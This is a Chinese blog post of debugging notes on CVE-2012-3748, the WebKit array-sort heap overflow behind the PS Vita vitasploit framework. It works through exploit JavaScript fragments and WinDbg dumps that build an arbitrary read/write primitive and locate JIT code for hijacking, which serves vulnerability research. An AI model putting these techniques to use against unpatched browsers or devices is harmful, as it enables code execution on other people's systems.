CVE-2012-3748 for vitasploit
作者:retme 发布时间:April 20, 2015 分类:Notes
太久没冒泡出来炸一炸。。春节前夕玩过一点这个,因为只是笔记,比较凌乱 --->
vitasploit 是PSVita 上的RCE framework,使用这个框架可以在PSV的浏览器进程域中执行代码,系统版本要求是 <3.18。个人觉得这个框架非常棒,github的地址是 https://github.com/Hykem/vitasploit
当然这个框架用的漏洞比较老,因为PSV 之前webkit一直没怎么升级过,用的是CVE-2012-3748,这个洞已经在iOS上有公开的exploit。事实上这个漏洞在PSVita/Wii/Kindle/PS4 等设备的特定版本上依旧存在。
图为在PSVita TV上通过浏览器执行代码。4月份vitasploit更新之后已经可以做trinity-like syscall fuzzing了
春节时因为想要分析vitasploit,就顺便看了下这个洞,浏览器不是很懂,纯粹笔记。
在vita里面调试浏览器漏洞不太现实。最好还是在PC上调,我是在windows上调试的。由于需要的webkit版本很老,mac上编译调试的话需要雪豹,我实在找不到一个可以用雪豹的机器了。。。。Windows上可以下载现成的pdb符号进行调试,要方便很多。
首先在这里下载safari的pdb符号
http://builds.nightly.webkit.org/files/trunk/win/WebKit-SVN-r115198.zip
接下来就是一些分析过程了
=============================================================
1.漏洞
漏洞出现在js array排序方法中,在JS中调用somearray.sort(function_ptr)来为数组排序
function_ptr是调用者提供的比较函数,
void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData) { ... // FIXME: If the compare function modifies the array, the vector, map, etc. could be modified // right out from under us while we're building the tree here. unsigned numDefined = 0; unsigned numUndefined = 0; // Iterate over the array, ignoring missing values, counting undefined ones, and inserting all other ones into the tree. for (; numDefined < usedVectorLength; ++numDefined) { JSValue v = m_storage->m_vector[numDefined].get(); if (!v || v.isUndefined()) break; tree.abstractor().m_nodes[numDefined].value = v; tree.insert(numDefined);//这里调用了我们定义的compareFunction //在这个函数中我们调用了JSArray.shift() } ... // FIXME: If the compare function changed the length of the array, the following might be // modifying the vector incorrectly. // Copy the values back into m_storage. // compareFunction已经将以一些元素移除,m_storage->m_vector的大小已经缩短, // 再去写m_storage->m_vector[i]就构成了堆溢出 AVLTree<AVLTreeAbstractorForArrayCompare, 44>::Iterator iter; iter.start_iter_least(tree); JSGlobalData& globalData = exec->globalData(); for (unsigned i = 0; i < numDefined; ++i) { m_storage->m_vector[i].set(globalData, this, tree.abstractor().m_nodes[*iter].value); ++iter; } ... }
1+ 利用思路
0:000> dt WebCore::JSUint32Array 0x034deda8-0x28 WebKit!WebCore::JSUint32Array =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name) +0x000 m_classInfo : 0x0f9c1860 JSC::ClassInfo +0x004 m_structure : JSC::WriteBarrier<JSC::Structure> =0f0e0000 baseExternalStorageCapacity : 0x905a4d =0f0e0000 s_info : JSC::ClassInfo =0f0e0000 StructureFlags : 0x905a4d +0x008 m_propertyStorage : JSC::StorageBarrier +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure> +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown> =0f9a8220 s_info : JSC::ClassInfo +0x030 m_impl : 0x7fdbc300 WTF::ArrayBufferView =0f0e0000 StructureFlags : 0x905a4d =0f9c1860 s_info : JSC::ClassInfo =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name) +0x038 m_storageLength : 0n8 +0x03c m_storage : 0x7fdbc320 Void =0f0e0000 StructureFlags : 0x905a4d
JSUint32Array.m_inlineStorage是一段JS可控的内存,用来装载属性。利用这段内存来构造一个GetterSetter结构体。
接着利用漏洞篡改JSUint32Array.m_impl为GetterSetter.m_getter,这是一个JSC::JSFunction类型,,将JSUint32Array.m_storageLength设置的极大,以达到任意内存写的目的
把JSC::JSFunction.m_propertyStorage 作为了 JSUint32Array.m_impl.m_baseAddress 即u32[0]的基地址
然后再来修改JSC::JSFunction的JIT地址和shellcode,最后触发shellcode执行
2.JSArray 内存布局分析
JSArray的定义是ArrayStorage
struct ArrayStorage { unsigned m_length; // The "length" property on the array unsigned m_numValuesInVector; void* m_allocBase; // Pointer to base address returned by malloc(). Keeping this pointer does eliminate false positives from the leak detector. #if CHECK_ARRAY_CONSISTENCY // Needs to be a uintptr_t for alignment purposes. uintptr_t m_initializationIndex; uintptr_t m_inCompactInitialization; #else uintptr_t m_padding; #endif WriteBarrier<Unknown> m_vector[1];
从code可以推测出 JSArray的布局 |m_length|m_numValuesInVector|m_allocBase|m_padding or ..|m_vector[len]|
0:000> dq 0x02460290 02460290 00000005`00000005 fffffffa`02460290 024602a0 ffffffff`00000000 ffffffff`00000001 024602b0 ffffffff`00000002 ffffffff`00000003 024602c0 fffffffb`0224fa00 00000005`00000005 024602d0 fffffffa`024602c8 ffffffff`00000000 024602e0 ffffffff`00000001 ffffffff`00000002 024602f0 ffffffff`00000003 ffffffff`00000004
JSValue如果是一个int,那么直接放到JSValue里面,前面4位是0xffff,也就是说只能保存2^48
如果JSValue代表的是一个对象,比如Uint32Array,那么保存的是指针
3.利用
Part 1:泄露出u32 address
a1.sort() -> compare(3,4) -> a1.shift() //===========================windbg info==================================== //===========================windbg info==================================== // call a1.shift(), length = 4 0:000> dq 0x02460290 02460290 00000004`00000004 00000004`00000004 024602a0 fffffffa`02460290 ffffffff`00000001 024602b0 ffffffff`00000002 ffffffff`00000003 024602c0 fffffffb`0224fa00 00000005`00000005 024602d0 fffffffa`024602c8 ffffffff`00000000 024602e0 ffffffff`00000001 ffffffff`00000002 024602f0 ffffffff`00000003 ffffffff`00000004 02460300 00000003`00000003 fffffffa`02460300 -> return to a1.sort() 0:000> dq 0x02460290 02460290 00000004`00000004 00000005`00000004 024602a0 fffffffa`02460290 ffffffff`00000000 024602b0 ffffffff`00000001 ffffffff`00000002 024602c0 ffffffff`00000003 fffffffb`0224fa00 <- corrupted a2.length = u32 address 024602d0 fffffffa`024602c8 ffffffff`00000000 024602e0 ffffffff`00000001 ffffffff`00000002 024602f0 ffffffff`00000003 ffffffff`00000004 02460300 00000003`00000003 fffffffa`02460300 JSArray a1 : |length = 4|x|x|x|1|2|3|length = u32 address JavaScriptCore!JSC::ArrayStorage +0x000 m_length : 4 +0x004 m_numValuesInVector : 4 +0x008 m_allocBase : 0x00000004 Void +0x00c m_padding : 5 +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown> JSArray a2 : |length = u32 address |x|x|x|0|1|2|3|4| JavaScriptCore!JSC::ArrayStorage +0x000 m_length : 0x224fa00 +0x004 m_numValuesInVector : 0xfffffffb +0x008 m_allocBase : 0x024602c8 Void +0x00c m_padding : 0xfffffffa +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown> //===========================windbg info END==================================== //===========================windbg info END==================================== Part 2: 2.1 a1.sort() -> compare(0,1) -> a1.length = 5;a1.shift();a2.length = a2.length+ 0x28 //===========================windbg info==================================== //===========================windbg info==================================== JSArray a1 : |length = 4|x|x|x|1|2|3|length = u32 address + 0x28| 0:000> dq 0x02460290 02460290 00000004`00000004 00000004`00000004 024602a0 00000004`00000004 fffffffa`02460290 <- 024602a0 = base of JSArray a1 024602b0 ffffffff`00000001 ffffffff`00000002 024602c0 ffffffff`00000003 fffffffb`0224fa28 <- corrupted a2.length = u32 address + 0x28 024602d0 fffffffa`024602c8 ffffffff`00000000 024602e0 ffffffff`00000001 ffffffff`00000002 024602f0 ffffffff`00000003 ffffffff`00000004 02460300 00000003`00000003 fffffffa`02460300 JSArray a2 : |length = u32 address + 0x28|x|x|x|0|1|2|3|4| JavaScriptCore!JSC::ArrayStorage +0x000 m_length : 0x224fa28 +0x004 m_numValuesInVector : 0xfffffffb +0x008 m_allocBase : 0x024602c8 Void +0x00c m_padding : 0xfffffffa +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown> 2.2 ->compare(x,3) -> a1.unshift(0) |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|x|x|x|0|1|2|3|4| 0:000> dq 0x02460290 02460290 00000004`00000004 00000005`00000005 024602a0 fffffffa`02460290 ffffffff`00000000 024602b0 ffffffff`00000001 ffffffff`00000002 024602c0 ffffffff`00000003 fffffffb`0224fa28 024602d0 fffffffa`024602c8 ffffffff`00000000 024602e0 ffffffff`00000001 ffffffff`00000002 024602f0 ffffffff`00000003 ffffffff`00000004 02460300 00000003`00000003 fffffffa`02460300 JSArray a1 : |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28| JavaScriptCore!JSC::ArrayStorage +0x000 m_length : 5 +0x004 m_numValuesInVector : 5 +0x008 m_allocBase : 0x02460290 Void +0x00c m_padding : 0xfffffffa +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown> JSArray a2 : |length = u32 address + 0x28|x|x|x|0|1|2|3|4 JavaScriptCore!JSC::ArrayStorage +0x000 m_length : 0x224fa28 +0x004 m_numValuesInVector : 0xfffffffb +0x008 m_allocBase : 0x024602c8 Void +0x00c m_padding : 0xfffffffa +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown> 2.3 ->return to a1.sort() |length = 5|x|x|x|0|1|3|length = u32 address + 0x28|length = u32 address + 0x28|x|x|x|0|1|2|3|4| 0:000> dq 0x02460290 02460290 00000004`00000004 00000004`00000005 024602a0 fffffffa`02460290 ffffffff`00000000 024602b0 ffffffff`00000001 ffffffff`00000003 <-- 不要过于纠结为啥这里是 01 | 03 | ... 中间少了02 024602c0 fffffffb`0224fa28 fffffffb`0224fa28 024602d0 fffffffa`024602c8 ffffffff`00000000 024602e0 ffffffff`00000001 ffffffff`00000002 024602f0 ffffffff`00000003 ffffffff`00000004 02460300 00000003`00000003 fffffffa`02460300
不要过于纠结为啥这里是 01 | 03 | ... 中间少了02:非要说的话,是因为 m_storage->m_vector的位置因为comparFunc的调整,向后错了一位。
for (; numDefined < usedVectorLength; ++numDefined) { JSValue v = m_storage->m_vector[numDefined].get(); if (!v || v.isUndefined()) break; tree.abstractor().m_nodes[numDefined].value = v; tree.insert(numDefined); } //===========================windbg info END==================================== //===========================windbg info END====================================
Part 3: overwriting ((JSUint32Array)u32).m_impl pointer
绕了这么大弯子,其实也就是为了泄露出 u32的地址
3.1 改写mo.prop0 = ((JSUint32Array)u32).m_impl - 0x8
0:000> dt WebCore::JSUint32Array WebKit!WebCore::JSUint32Array =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType +0x000 m_classInfo : Ptr32 JSC::ClassInfo +0x004 m_structure : JSC::WriteBarrier<JSC::Structure> =0f0e0000 baseExternalStorageCapacity : Uint4B =0f0e0000 s_info : JSC::ClassInfo =0f0e0000 StructureFlags : Uint4B +0x008 m_propertyStorage : JSC::StorageBarrier +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure> +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown> =0f9a8220 s_info : JSC::ClassInfo +0x030 m_impl : Ptr32 WTF::ArrayBufferView =0f0e0000 StructureFlags : Uint4B =0f9c1860 s_info : JSC::ClassInfo =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType +0x038 m_storageLength : Int4B +0x03c m_storage : Ptr32 Void =0f0e0000 StructureFlags : Uint4B
总之现在a1[3]是JSUint32Array + 0x28 = 是JSUint32Array.m_impl - 8,
接下来构造一个a3,后面紧跟着一个mo,他的property storage紧跟在a3后面
var a3 = [0,1,2,a1[3]]; var mo = {}; var pd = { get: function(){return 0;}, set: function(arg){return 0;}, enumerable:true, configurable:true } // allocate mo's property storage right after a3's buffer Object.defineProperty(mo, "prop0", pd); for(var i=1; i < 7; i++){ mo["prop"+i] = i; } mem layout : |length = 4|x|x|x|0|1|2|u32 address + 0x28 | pd_ptr | 1 | 2 | 3 | 4 | 5 | 6 | 0:000> dq 0x02e103e0 02e103e0 00000004`00000004 fffffffa`02e103e0 02e103f0 ffffffff`00000000 ffffffff`00000001 02e10400 ffffffff`00000002 fffffffb`034deda8 02e10410 fffffffb`0386ffc0 ffffffff`00000001 02e10420 ffffffff`00000002 ffffffff`00000003 02e10430 ffffffff`00000004 ffffffff`00000005 02e10440 ffffffff`00000006 fffffffa`00000000 02e10450 fffffffa`00000000 fffffffa`00000000 shift & sort: u32 address + 0x28 = pd_ptr 0:000> dq 0x02e103e0 02e103e0 00000003`00000003 00000003`00000003 02e103f0 fffffffa`02e103e0 ffffffff`00000000 02e10400 ffffffff`00000001 ffffffff`00000002 02e10410 fffffffb`034deda8 ffffffff`00000001 02e10420 ffffffff`00000002 ffffffff`00000003 02e10430 ffffffff`00000004 ffffffff`00000005 02e10440 ffffffff`00000006 fffffffa`00000000 02e10450 fffffffa`00000000 fffffffa`00000000 |length = 4|x|x|x|0|1|2|u32 address + 0x28 | mo.prop0 = u32.m_impl | mo.prop1 = 1 | 2 | 3 | 4 | 5 | 6 | 0:000> dq 0x02e103e8 02e103e8 00000004`00000003 fffffffa`02e103e0 02e103f8 ffffffff`00000000 ffffffff`00000001 02e10408 ffffffff`00000002 fffffffb`034deda8 02e10418 ffffffff`00000001 ffffffff`00000002 02e10428 ffffffff`00000003 ffffffff`00000004 02e10438 ffffffff`00000005 ffffffff`00000006 02e10448 fffffffa`00000000 fffffffa`00000000 02e10458 fffffffa`00000000 fffffffa`00000000 034deda8 是指JSUint32Array.m_impl - 0x8 0:000> dt WebCore::JSUint32Array 0x034deda8-0x28 WebKit!WebCore::JSUint32Array =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name) +0x000 m_classInfo : 0x0f9c1860 JSC::ClassInfo +0x004 m_structure : JSC::WriteBarrier<JSC::Structure> =0f0e0000 baseExternalStorageCapacity : 0x905a4d =0f0e0000 s_info : JSC::ClassInfo =0f0e0000 StructureFlags : 0x905a4d +0x008 m_propertyStorage : JSC::StorageBarrier +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure> +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown> =0f9a8220 s_info : JSC::ClassInfo +0x030 m_impl : 0x7fdbc300 WTF::ArrayBufferView =0f0e0000 StructureFlags : 0x905a4d =0f9c1860 s_info : JSC::ClassInfo =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name) +0x038 m_storageLength : 0n8 +0x03c m_storage : 0x7fdbc320 Void =0f0e0000 StructureFlags : 0x905a4d JSUint32Array.m_impl 0:000> dt WTF::ArrayBufferView 0x7fdbc300 WebKit!WTF::ArrayBufferView +0x004 m_refCount : 0n1 +0x000 __VFN_table : 0x0f8acdf4 +0x008 m_baseAddress : 0x7fdbc320 Void +0x00c m_byteOffset : 0 +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer> +0x014 m_prevView : (null) +0x018 m_nextView : (null)
3.2 现在webcore::jsuint32array的布局是这样的
0218e780 ->base
0218e790 property storage = 4*long (inlineStorage)
0218e7a8 JSUint32Array.m_impl
首先利用u32.property伪造GetterSetter的结构头部
// This is an internal value object which stores getter and setter functions // for a property. 0:000> dt JSC::GetterSetter JavaScriptCore!JSC::GetterSetter =51870000 TypedArrayStorageType : JSC::TypedArrayType +0x000 m_classInfo : Ptr32 JSC::ClassInfo +0x004 m_structure : JSC::WriteBarrier<JSC::Structure> =519bda68 s_info : JSC::ClassInfo +0x008 m_getter : JSC::WriteBarrier<JSC::JSObject> +0x00c m_setter : JSC::WriteBarrier<JSC::JSObject> // construct the valid GetterSetter object u32.prop1 = 8; // 8 = JSType.GetterSetterType u32.prop2 = 8; u32.prop3 = 8; u32.prop4 = u2d(u32addr, u32addr+0x10); // ((GetterSetter)mo.prop0).m_structure 指向 JSUint32Array.m_inlineStorage // prepare JSFunction which will be refered by u32.m_impl var f = new Function(" return 876543210 + " + (_cnt++) + ";"); f.prop2 = u2d(0x40000000,0x40000000); // a new value for u32.length f(); //这里把 pd.get复写到了 u32.m_impl //f.prop2 = u2d(0x40000000,0x40000000)为何能改变u32的长度?(见下面) // overwrite u32.m_impl by the pd.get object pd.get = f; Object.defineProperty(mo, "prop0", pd); //现在被替换之后的 JSUint32Array 长这样 0:000> dt WebCore::JSUint32Array 0x0253dc80 WebKit!WebCore::JSUint32Array =0f810000 TypedArrayStorageType : 0x905a4d (No matching name) +0x000 m_classInfo : 0x100f1860 JSC::ClassInfo +0x004 m_structure : JSC::WriteBarrier<JSC::Structure> =0f810000 baseExternalStorageCapacity : 0x905a4d =0f810000 s_info : JSC::ClassInfo =0f810000 StructureFlags : 0x905a4d +0x008 m_propertyStorage : JSC::StorageBarrier +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure> +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown> =100d8220 s_info : JSC::ClassInfo +0x030 m_impl : 0x0253d380 WTF::ArrayBufferView =0f810000 StructureFlags : 0x905a4d =100f1860 s_info : JSC::ClassInfo =0f810000 TypedArrayStorageType : 0x905a4d (No matching name) +0x038 m_storageLength : 0n8 +0x03c m_storage : 0x7fe0e9a0 Void =0f810000 StructureFlags : 0x905a4d 0:000> dd 0x0253d380 //WTF::ArrayBufferView 同时也是 GetterSetter.m_getter JSC::JSFunction, 0253d380 018edd18 024a8880 0253d390 00000000 0253d390 028be440 fffffffb 40000000 40000000 //40000000 40000000就是f.prop2 0253d3a0 00000000 fffffffa 00000000 fffffffa 0253d3b0 02a9ef40 028be420 00000000 00000000 0253d3c0 018edd18 024ab9a0 0253d3d0 00000000 0253d3d0 028be4a0 fffffffb 00000002 ffffffff 0253d3e0 00000000 fffffffa 00000000 fffffffa 0253d3f0 0253d400 028bf420 00000000 00000000 0:000> dt JSC::jsfunction 0x0253d380 JavaScriptCore!JSC::JSFunction =017a0000 TypedArrayStorageType : 0x905a4d (No matching name) +0x000 m_classInfo : 0x018edd18 JSC::ClassInfo +0x004 m_structure : JSC::WriteBarrier<JSC::Structure> =017a0000 baseExternalStorageCapacity : 0x905a4d =018edee8 s_info : JSC::ClassInfo =017a0000 StructureFlags : 0x905a4d +0x008 m_propertyStorage : JSC::StorageBarrier +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure> +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown> =018edd18 s_info : JSC::ClassInfo =017a0000 StructureFlags : 0x905a4d +0x030 m_executable : JSC::WriteBarrier<JSC::ExecutableBase> +0x034 m_scopeChain : JSC::WriteBarrier<JSC::ScopeChainNode> 0:000> dt WTF::ArrayBufferView 0x0253d380 JavaScriptCore!WTF::ArrayBufferView +0x004 m_refCount : 0n38439040 +0x000 __VFN_table : 0x018edd18 +0x008 m_baseAddress : 0x0253d390 Void //JSC::JSFunction.m_propertyStorage 作为了 JSUint32Array.m_impl.m_baseAddress 即u32[0]的基地址 +0x00c m_byteOffset : 0 +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer> +0x014 m_prevView : 0xfffffffb WTF::ArrayBufferView +0x018 m_nextView : 0x40000000 WTF::ArrayBufferView 0:000> dt WebKit!WTF::Uint32Array 0x0240de80 +0x004 m_refCount : 0n37594752 +0x000 __VFN_table : 0x77eedd18 +0x008 m_baseAddress : 0x0240de90 Void +0x00c m_byteOffset : 0 +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer> +0x014 m_prevView : 0xfffffffb WTF::ArrayBufferView +0x018 m_nextView : 0x40000000 WTF::ArrayBufferView +0x01c m_length : 0x40000000 //f.prop2 = u2d(0x40000000,0x40000000)能改变u32的长度 // delete corrupted property delete mo.prop0; // check results: u32.length is taken from f's internals logAdd("u32.length = 0x" + u32.length.toString(16)); if (u32.length == u32len) { logAdd("error: 3"); return 3; } //logAdd("u32[] data:<br/>" + ArrayToString(u32,0,16)); // for RnD
Part 4: getting the JIT-code memory address
// find out the memory address of u32[0] (ArrayBufferView.m_baseAddress) var u32base = u32[0x40000000-2]; logAdd("u32 address = 0x" + u32addr.toString(16)); logAdd("u32 base = 0x" + u32base.toString(16)); // /* 计算出u32base JSUint32Array.getByIndex() 实现如下 u32base = *(JSUint32Array->m_impl->m_baseAddress + index*4) index = 0x3ffffffe so u32base = *(JSUint32Array->m_impl->m_baseAddress + 0xFFFFFFF8) 正好取到了 *JSC::JSFunction.m_propertyStorage = JSC::JSFunction.m_inlineStorage 作为 base */ // declare aux functions var getU32 = function(addr) { return u32[(addr - u32base) >>> 2]; } var setU32 = function(addr,val) { return u32[(addr - u32base) >>> 2] = val; } // read ((JSFunction)f).m_executable; var jitObj = u32[8]; //JSC::JSFunction.m_inlineStorage + 0x20 = JSC::JSFunction.m_executable logAdd("JIT object = 0x" + jitObj.toString(16)); // read ExecutableBase.m_jitCodeForCall jitObj += 0x10; var jitAddr = getU32(jitObj); logAdd("JIT address = 0x" + jitAddr.toString(16)); if (!jitAddr) { logAdd("error: 4"); return 4; }
后面就没啥了,改写JIT指针执行rop。vitaslpoit的最后这里的处理和iOS有些不同,没有覆盖JIT而是覆盖的vTable 。
评论已关闭